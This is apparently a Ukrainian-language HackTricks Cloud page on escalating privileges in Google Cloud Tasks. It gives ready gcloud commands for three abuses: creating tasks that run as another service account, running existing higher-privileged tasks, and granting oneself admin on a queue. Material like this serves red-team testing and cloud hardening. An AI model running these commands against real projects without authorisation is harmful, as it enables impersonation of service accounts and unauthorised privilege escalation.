GCP - Cloud Tasks Privesc
Reading time: 3 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.
Cloud Tasks
cloudtasks.tasks.create
, iam.serviceAccounts.actAs
Зловмисник з цими дозволами може вдаватися до інших облікових записів служби, створюючи завдання, які виконуються з ідентичністю вказаного облікового запису служби. Це дозволяє надсилати автентифіковані HTTP-запити до сервісів Cloud Run або Cloud Functions, захищених IAM.
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
--location us-central1 \
--queue <queue_name> \
--url 'https://<service_name>.us-central1.run.app' \
--method POST \
--header 'X-Hello: world' \
--body-content '{"hello":"world"}' \
--oidc-service-account-email <account>@<project_id>.iam.gserviceaccount.com
cloudtasks.tasks.run
, cloudtasks.tasks.list
Зловмисник з цими правами може виконувати існуючі заплановані завдання без наявності прав на обліковий запис служби, пов'язаний із завданням. Це дозволяє виконувати завдання, які були раніше створені з використанням облікових записів служби з вищими привілеями.
gcloud tasks run projects/<project_id>/locations/us-central1/queues/<queue_name>/tasks/<task_id>
Основний, який виконує цю команду, не потребує дозволу iam.serviceAccounts.actAs
на обліковий запис служби завдання. Однак це лише дозволяє виконувати існуючі завдання - це не надає можливості створювати або змінювати завдання.
cloudtasks.queues.setIamPolicy
Зловмисник з цим дозволом може надавати собі або іншим основним ролі Cloud Tasks на конкретних чергах, потенційно підвищуючи привілеї до roles/cloudtasks.admin
, що включає можливість створювати та виконувати завдання.
gcloud tasks queues add-iam-policy-binding \
<queue_name> \
--location us-central1 \
--member serviceAccount:<account>@<project_id>.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
Це дозволяє зловмиснику надати повні адміністративні права Cloud Tasks на чергу будь-якому обліковому запису служби, яким вони керують.
Посилання
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримка HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи Telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на GitHub.